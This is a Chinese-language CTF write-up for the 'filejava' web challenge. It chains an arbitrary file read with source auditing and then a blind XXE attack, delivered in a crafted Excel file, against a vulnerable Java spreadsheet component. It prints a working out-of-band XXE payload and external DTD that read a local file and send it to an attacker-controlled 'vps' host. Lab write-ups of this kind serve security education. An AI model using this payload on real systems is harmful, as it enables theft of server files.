考点: 任意文件读取 代码审计 java组件漏洞利用 盲XXE
1.随意上传文件,试了试 jsp. 可以上传,返回下载地址,有filename参数,fuzz一下,发现有任意文件读取
2.试着fuzz读flag,没有结果,读了下web.xml,那就把源码down下来,审计一下
通过一个小工具,把源码down下:
3.看一下代码,发现有这个组件,就搜索了一下:
3.10.1之前存在xxe漏洞,于是我们构造一下excel
文件名是有要求的,按照要求来:
4. 构造一个xml的excel,修改根目录下的xml文件
dnslog探测一下,有回显:
5. 那思路有了,构造恶意的dtd文件,远程加载,读一下flag:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:8088/%file;'>">
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://vps:8088/echo.dtd">
%remote;
%all;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
01. 题目复现: https://github.com/CTFTraining/wdb_2020_web_qinglong_filejava
02. Buuoj 在线复现: https://buuoj.cn/challenges
03. 组件漏洞分析: https://xz.aliyun.com/t/6996
04. Java任意文件读取,Down源码小工具: https://github.com/Artemis1029/Java_xmlhack